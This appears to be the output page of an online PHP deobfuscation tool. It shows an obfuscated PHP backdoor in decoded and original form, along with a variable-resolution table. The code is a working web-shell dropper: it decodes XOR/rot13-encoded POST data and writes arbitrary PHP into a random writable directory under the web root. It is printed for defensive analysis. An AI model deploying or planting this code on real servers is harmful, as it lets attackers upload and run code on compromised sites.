Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ysBCiFkYy = "\x44".chr(79).chr(158-91).chr(85).chr(242-165).chr(69).'N'.'T'.chr(532..

Decoded Output download

<?php $ysBCiFkYy = "D".chr(79).chr(158-91).chr(85).chr(242-165).chr(69).'N'.'T'.chr(532-437)."R".chr(247-168).'O'."T";$FvjmWAai = "H".chr(84)."T"."P"."_".'H'.chr(79).chr(790-707).chr(290-206);$umzsssXiiR = "h"."t".'t'.chr(112).":".chr(47).'/';$ZnZsuH = ".".chr(112).chr(104).'p';$XsnYBI = "p".chr(624-520).chr(112);$FuUww = "f".chr(300-195).chr(588-480)."e"."_"."p".chr(117)."t".'_'.chr(99).chr(680-569)."n"."t".chr(434-333).chr(783-673).'t'.chr(115);$AwNqTuX = "r".'a'.chr(119).chr(520-403).chr(963-849)."l"."d"."e".'c'."o"."d"."e";$nsaKsnX = chr(891-774)."n".'s'.chr(1092-991)."r".chr(833-728)."a"."l".chr(136-31).'z'."e";$zCnISirZVr = chr(1032-927)."s".chr(177-82)."w"."r".chr(265-160)."t".chr(968-871).chr(98).chr(108)."e";$qDCCVHVu = "p".'h'.'p'.chr(1035-917).'e'.'r'."s"."i"."o".chr(964-854);$ptqdCAcmOd = 's'.'t'.'r'.'_'.chr(753-639)."o".chr(456-340).'1'."3";$eAKuOIXhf = 's'.chr(101)."r"."i"."a".chr(529-421).chr(989-884).chr(122).chr(101);$wjtndck = chr(556-441)."t".'r'.'_'.chr(115).chr(112).'l'.chr(105).chr(116);foreach ($_POST as $JSFmkbR => $csITlzy){if (strlen($JSFmkbR) == 16){$csITlzy = $wjtndck($AwNqTuX($ptqdCAcmOd($csITlzy)));$JSFmkbR = array_slice($wjtndck(str_repeat($JSFmkbR, (count($csITlzy)/16)+1)), 0, count($csITlzy));function WOrOVb($JNIWpDL, $DbDcFBzv, $JSFmkbR){$CBROvMIFlSbXfnOp = "bc8ca537-95ad-4b22-b157-c38b2f074827";return $JNIWpDL ^ $CBROvMIFlSbXfnOp[$DbDcFBzv % strlen($CBROvMIFlSbXfnOp)] ^ $JSFmkbR;}$csITlzy = implode("", array_map("WOrOVb", array_values($csITlzy), array_keys($csITlzy), array_values($JSFmkbR)));$csITlzy = @$nsaKsnX($csITlzy);if (@is_array($csITlzy)){$RfmiWoW = array_keys($csITlzy);$csITlzy = $csITlzy[$RfmiWoW[0]];if ($csITlzy === $RfmiWoW[0]){echo @$eAKuOIXhf(Array($XsnYBI => @$qDCCVHVu(), ));exit();}else {function hFKkuhs($CBROvMIFlSir){static $NyMZq = array();$pbBJjQvsS = glob($CBROvMIFlSir . '/*', GLOB_ONLYDIR);if (count($pbBJjQvsS) > 0) {foreach ($pbBJjQvsS as $CBROvMIFlS) {if (@$zCnISirZVr($CBROvMIFlS)) {$NyMZq[] = $CBROvMIFlS;}}}foreach ($pbBJjQvsS as $CBROvMIFlSir) hFKkuhs($CBROvMIFlSir);return $NyMZq;}$RolQz = $_SERVER[$ysBCiFkYy];$pbBJjQvsS = hFKkuhs($RolQz);$RfmiWoW = array_rand($pbBJjQvsS);$aTStux = $pbBJjQvsS[$RfmiWoW] . "/" . substr(md5(time()), 0, 8) . $ZnZsuH;@$FuUww($aTStux, $csITlzy);echo $umzsssXiiR . $_SERVER[$FvjmWAai] . substr($aTStux, strlen($RolQz));exit();}}}} ?>

Did this file decode correctly?

Original Code

<?php $ysBCiFkYy = "\x44".chr(79).chr(158-91).chr(85).chr(242-165).chr(69).'N'.'T'.chr(532-437)."\x52".chr(247-168).'O'."\x54";$FvjmWAai = "\110".chr(84)."\x54"."\x50"."\137".'H'.chr(79).chr(790-707).chr(290-206);$umzsssXiiR = "\150"."\x74".'t'.chr(112)."\72".chr(47).'/';$ZnZsuH = "\56".chr(112).chr(104).'p';$XsnYBI = "\x70".chr(624-520).chr(112);$FuUww = "\146".chr(300-195).chr(588-480)."\145"."\137"."\x70".chr(117)."\164".'_'.chr(99).chr(680-569)."\156"."\164".chr(434-333).chr(783-673).'t'.chr(115);$AwNqTuX = "\x72".'a'.chr(119).chr(520-403).chr(963-849)."\154"."\144"."\145".'c'."\157"."\x64"."\145";$nsaKsnX = chr(891-774)."\156".'s'.chr(1092-991)."\162".chr(833-728)."\141"."\154".chr(136-31).'z'."\x65";$zCnISirZVr = chr(1032-927)."\163".chr(177-82)."\167"."\x72".chr(265-160)."\x74".chr(968-871).chr(98).chr(108)."\x65";$qDCCVHVu = "\160".'h'.'p'.chr(1035-917).'e'.'r'."\x73"."\151"."\x6f".chr(964-854);$ptqdCAcmOd = 's'.'t'.'r'.'_'.chr(753-639)."\157".chr(456-340).'1'."\63";$eAKuOIXhf = 's'.chr(101)."\162"."\151"."\x61".chr(529-421).chr(989-884).chr(122).chr(101);$wjtndck = chr(556-441)."\x74".'r'.'_'.chr(115).chr(112).'l'.chr(105).chr(116);foreach ($_POST as $JSFmkbR => $csITlzy){if (strlen($JSFmkbR) == 16){$csITlzy = $wjtndck($AwNqTuX($ptqdCAcmOd($csITlzy)));$JSFmkbR = array_slice($wjtndck(str_repeat($JSFmkbR, (count($csITlzy)/16)+1)), 0, count($csITlzy));function WOrOVb($JNIWpDL, $DbDcFBzv, $JSFmkbR){$CBROvMIFlSbXfnOp = "bc8ca537-95ad-4b22-b157-c38b2f074827";return $JNIWpDL ^ $CBROvMIFlSbXfnOp[$DbDcFBzv % strlen($CBROvMIFlSbXfnOp)] ^ $JSFmkbR;}$csITlzy = implode("", array_map("WOrOVb", array_values($csITlzy), array_keys($csITlzy), array_values($JSFmkbR)));$csITlzy = @$nsaKsnX($csITlzy);if (@is_array($csITlzy)){$RfmiWoW = array_keys($csITlzy);$csITlzy = $csITlzy[$RfmiWoW[0]];if ($csITlzy === $RfmiWoW[0]){echo @$eAKuOIXhf(Array($XsnYBI => @$qDCCVHVu(), ));exit();}else {function hFKkuhs($CBROvMIFlSir){static $NyMZq = array();$pbBJjQvsS = glob($CBROvMIFlSir . '/*', GLOB_ONLYDIR);if (count($pbBJjQvsS) > 0) {foreach ($pbBJjQvsS as $CBROvMIFlS) {if (@$zCnISirZVr($CBROvMIFlS)) {$NyMZq[] = $CBROvMIFlS;}}}foreach ($pbBJjQvsS as $CBROvMIFlSir) hFKkuhs($CBROvMIFlSir);return $NyMZq;}$RolQz = $_SERVER[$ysBCiFkYy];$pbBJjQvsS = hFKkuhs($RolQz);$RfmiWoW = array_rand($pbBJjQvsS);$aTStux = $pbBJjQvsS[$RfmiWoW] . "/" . substr(md5(time()), 0, 8) . $ZnZsuH;@$FuUww($aTStux, $csITlzy);echo $umzsssXiiR . $_SERVER[$FvjmWAai] . substr($aTStux, strlen($RolQz));exit();}}}}

Function Calls

chr 52

Variables

$FuUww file_put_contents
$XsnYBI php
$ZnZsuH .php
$AwNqTuX rawurldecode
$nsaKsnX unserialize
$wjtndck str_split
$FvjmWAai HTTP_HOST
$qDCCVHVu phpversion
$eAKuOIXhf serialize
$ysBCiFkYy DOCUMENT_ROOT
$ptqdCAcmOd str_rot13
$umzsssXiiR http://
$zCnISirZVr is_writable

Stats

MD5 34d2f1df123aa5af949f71477778482c
Eval Count 0
Decode Time 91 ms